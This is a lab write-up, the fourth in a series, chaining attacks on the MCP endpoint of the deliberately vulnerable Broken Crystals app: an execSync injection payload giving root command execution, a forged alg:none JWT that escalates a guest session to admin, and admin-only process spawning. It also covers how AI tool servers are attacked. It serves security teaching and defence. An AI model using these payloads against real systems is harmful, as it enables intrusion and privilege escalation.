Broken Crystals Field Notes 4: MCP Attack — Full Kill Chain from Unauthenticated Guest to admin Privilege-Escalation RCE
- Part 1: Information Disclosure → Arbitrary File Read (LFI)
- Part 2: A query Parameter → root reverse shell
- Part 3: eval SSJI for RCE, plus XXE
- ▸ Part 4: MCP Attack → admin RCE kill chain (this post)
The previous posts went after classic web bugs (LFI, command injection, SSJI, XXE). This one pivots to a relatively cutting-edge attack surface for which real-world material is still scarce: MCP (Model Context Protocol). I'll start from "what is MCP," then break down this app's MCP attack surface, and finally chain two core findings into a single complete attack chain—how an unauthenticated guest escalates all the way to admin and lands root RCE, backed the whole way by white-box source code (obtained via the earlier LFI).
1. First, get it straight: what is MCP
MCP (Model Context Protocol) is an open standard proposed by Anthropic in late 2024. The problem it sets out to solve is this: an LLM by itself can only generate text, it can't actually "do things"—read files, query databases, call APIs. MCP is a standardized interface that lets an LLM call external "tools" and "resources."
An analogy: the LLM is a smart brain locked in a room that can only talk; MCP is a row of buttons (tools) and drawers (resources) on the wall. When the LLM wants to get something done, it presses the buttons and opens the drawers through the MCP protocol.
Why is MCP such a juicy attack surface? Because it exposes "dangerous capabilities" in a standardized way. MCP servers frequently: assume "only a trusted AI will ever call this" and therefore do authentication/authorization very loosely; expose shell, DB, and filesystem capabilities directly as tools; and pipe tool arguments straight into dangerous sinks. So the MCP attack surface = every bug of a traditional API + the trust-assumption problems unique to AI.
Broken Crystals ships with a fairly complete MCP implementation, and that's the star of this post.
2. Reconnaissance of the MCP attack surface (white-box)
Using the earlier LFI, I read the MCP source directly. The key structure is as follows.
Endpoint and protocol
- Endpoint:
POST /api/mcp, over JSON-RPC 2.0 - Flow: first
initializeto establish a session (the response carries anMcp-Session-Idheader) → subsequent requests include this header →tools/call,resources/read - Protocol version:
2025-11-25
Establishing a session: first figure out who you are
Send initialize without any token:
curl -s -i -X POST http://localhost:3000/api/mcp \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"initialize","id":0}'
The response reveals our initial identity:
"session": { "authenticated": false, "role": "guest", "ttlMs": 1800000 }
An unauthenticated guest identity = guest, and the session lives for 30 minutes.
List the tools: an overview of access levels
Send tools/list with the session id, and this app very generously lists the accessLevel of every tool:
| Tool | accessLevel | Underlying sink / corresponding bug |
|---|---|---|
spawn_process |
admin | child_process.spawn → command injection |
get_config |
admin | sensitive config disclosure |
process_numbers |
public | proxy /api/process_numbers → eval SSJI |
render |
public | doT template → SSTI |
get_metadata |
public | proxy /api/metadata → XXE |
get_count |
public | "Accepts a SQL query" → likely SQLi |
search_users |
public | user search |
update_user |
public | prototype pollution |
get_testimonials |
public | data listing |
excerpt_text |
public | text truncation |
Spot the contradiction? We'll unpack it below.
3. Finding 1: Inconsistent authorization tiers → unauthenticated RCE
Observation
The defender protected spawn_process (an obvious command-injection RCE) as admin, but left process_numbers as public. Yet process_numbers sits on top of an eval() SSJI—which is also RCE. This is the textbook shape of an authorization-logic flaw: the defender only protected the endpoint that "looks dangerous" and missed the one that "can just as easily RCE but looks like a feature."
Exploitation
Using the unauthenticated guest session, call the public process_numbers directly and stuff in an SSJI payload:
curl -s -X POST http://localhost:3000/api/mcp \
-H "Content-Type: application/json" \
-H "Mcp-Session-Id: <guest-session-id>" \
-d '{
"jsonrpc":"2.0","method":"tools/call","id":2,
"params":{
"name":"process_numbers",
"arguments":{
"numbers":[1],
"processing_expression":"require(\"child_process\").execSync(\"id\").toString()"
}
}
}'
Response:
"text": "SSJI result: uid=0(root) gid=0(root) ..."
Unauthenticated root RCE, confirmed. A guest, via the mislabeled-as-public process_numbers, bypassed the defender's admin protection on spawn_process.
For contrast: the admin protection itself does work
Worth stressing—this isn't "the protection completely failed," it's "a classification error." Call the admin-gated spawn_process with the same guest session:
{"error":{"code":-32001,"message":"Unauthorized: tool \"spawn_process\" requires authentication"}}
The admin protection genuinely blocks the guest, so the mechanism does work. The problem is that an equivalently dangerous capability was misfiled as public. That's more realistic than "no protection at all," and closer to a real-world bug shape—the mechanism is right, but something got put in the wrong bucket.
4. Finding 2: JWT alg:none → admin escalation
Since spawn_process is blocked by the admin gate, the next objective is to upgrade the guest session to admin.
Authentication logic (white-box)
Reading resolveAuthContext in mcp.auth.service.js:
const token = this.extractBearerToken(req); // pull the token from the Authorization header / cookie
if (!token) return { authenticated:false, role:'guest' };
const payload = await this.validateJwt(token); // validate the JWT with the RSA processor
const user = this.extractUserId(payload); // take sub / email / username / user
const role = await this.resolveRole(user); // findByEmail(user) → isAdmin ? 'admin' : 'user'
So role means "validate the JWT → extract the identity → look up the DB to see whether that user is isAdmin." To become admin, we need a JWT that "passes validation and whose identity maps to some admin user."
The fatal flaw: the RSA processor's validation implementation
MCP authentication uses JwtProcessorType.RSA. Reading that processor's validateToken:
async validateToken(token) {
const [header, payload] = this.parse(token);
if (header.alg === 'none') { // flaw 1: alg:none is let straight through
return payload;
}
return decode(token, this.publicKey, false, header.alg); // flaw 2: the algorithm is decided by the token itself
}
Two independent fatal flaws:
- Flaw 1 (alg:none): if the token declares
alg: none, it isn't validated at all and the payload is returned directly. This is the most classic JWT bug—no signature required. - Flaw 2 (algorithm confusion): the fourth argument of
decode(token, publicKey, false, header.alg)isheader.alg—whatever algorithm the token declares is what gets used to verify. It isn't pinned to RS256, which opens up the RS256→HS256 confusion attack: change alg to HS256, and the server takes the RSA public key it holds and uses it as the HMAC secret to verify. The public key is public (readable via LFI), HMAC signs and verifies with the same key, so you can forge with the public key.
Both paths work; alg:none is more straightforward, so I'll go with it.
Aside: how RS256→HS256 algorithm confusion works. RS256 is asymmetric (sign with the private key, verify with the public key). You can't forge because you don't have the private key. But if the verification function doesn't pin the algorithm, the attacker changes the header to HS256 (symmetric, same key signs and verifies), and the server takes "the public key it was going to do RSA verification with" and uses it as the HMAC secret. Since the public key is public and HMAC is symmetric, the attacker signs with that same public key and passes verification—weaponizing "the public key everyone has" into "the key that forges tokens."
Find the admin identity
resolveRole takes the token's identity and runs findByEmail against the DB, so the forged payload must correspond to a real admin. Use the public search_users tool (callable unauthenticated) to scoop them up:
curl -s -X POST http://localhost:3000/api/mcp \
-H "Content-Type: application/json" \
-H "Mcp-Session-Id: <guest-session-id>" \
-d '{"jsonrpc":"2.0","method":"tools/call","id":5,"params":{"name":"search_users","arguments":{"name":"a"}}}'
Result (this tool is itself a finding—unauthenticated disclosure of PII including credit card numbers):
{ "email": "admin", "firstName": "admin", "cardNumber": "1234 5678 9012 3456", "id": 1 }
The admin user's identifier is simply the string "admin".
Forge the alg:none token (zero signature)
A JWT has the structure base64url(header).base64url(payload).signature, and alg:none needs no signature segment:
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo -n '{"sub":"admin","user":"admin","email":"admin"}' | base64 | tr '+/' '-_' | tr -d '=')
TOKEN="${HEADER}.${PAYLOAD}." # third segment (the signature) is empty, but keep the trailing dot
tr '+/' '-_' | tr -d '=' converts standard base64 into the base64url that JWT uses. The final token:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInVzZXIiOiJhZG1pbiIsImVtYWlsIjoiYWRtaW4ifQ.
Establish an admin session with the forged token
curl -s -i -X POST http://localhost:3000/api/mcp \
-H "Content-Type: application/json" \
-H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInVzZXIiOiJhZG1pbiIsImVtYWlsIjoiYWRtaW4ifQ." \
-d '{"jsonrpc":"2.0","method":"initialize","id":0}'
Response:
"session": { "authenticated": true, "role": "admin", "user": "admin" }
The role goes from guest to admin. A completely unsigned forged token bought us an admin session.
5. Closing the loop: the admin session calls spawn_process
Use the new admin session id to call the spawn_process that had blocked us earlier:
curl -s -X POST http://localhost:3000/api/mcp \
-H "Content-Type: application/json" \
-H "Mcp-Session-Id: <admin-session-id>" \
-d '{"jsonrpc":"2.0","method":"tools/call","id":6,"params":{"name":"spawn_process","arguments":{"command":"id"}}}'
The response is an SSE stream (spawn_process is a streaming tool, sending progress → partial_output → message in order):
event: message
data: {"jsonrpc":"2.0","result":{"content":[{"type":"text","text":"OS command result: uid=0(root) gid=0(root) ..."}]},"id":6}
Moments ago it returned Unauthorized; now it returns root.
The complete kill chain
① Unauthenticated guest (MCP initialize with no token, role=guest)
② LFI (/api/file) reads the backend source
→ discover the RSA processor's alg:none flaw (plus decode not pinning the algorithm)
③ search_users (public tool, incidentally leaking PII including credit card numbers) → obtain the admin identity = "admin"
④ Hand-forge an alg:none JWT (header.payload. , zero signature)
⑤ MCP initialize with the forged token → role escalates from guest to admin
⑥ The admin session calls the admin-only spawn_process → unauthorized privilege-escalation RCE (root)
A single chain stitches together five kinds of vulnerability: LFI, sensitive data disclosure, JWT alg:none, MCP authorization bypass, and command injection. In the real world this is a critical-grade complete kill chain, and it models exactly the two categories of problems most likely to show up in real MCP servers—inconsistent authorization tiers and JWT validation flaws.
Notably, this chain actually has two independent unauthorized-RCE entry points: Finding 1 (the public process_numbers) needs no escalation at all to RCE; Finding 2 shows that even when a capability is correctly protected as admin, a flaw in the auth layer still lets you obtain it after escalation. Defensively these map to two independent fix points: capability tiers must be consistent, and JWT validation must pin the algorithm and reject alg:none.
Closing thoughts
As the protocol that gives AI its "hands and feet," MCP's security problems are one of the most cutting-edge research areas right now. The two core flaws demonstrated here—inconsistent authorization tiers, and JWT validation letting alg:none through—are not novel MCP-only vulnerabilities. They are "traditional web security problems, transplanted into the new context of MCP." That's the essence of MCP attacks: old bugs, new face. Grasp that, and anyone who's done traditional web pentesting can quickly break into the MCP attack surface.
This article is a record of testing on a locally self-hosted lab within an authorized scope, for defensive research and educational purposes only. All credentials and PII in the text are the lab's default fake data. Do not apply any of these techniques against unauthorized targets.
Member discussion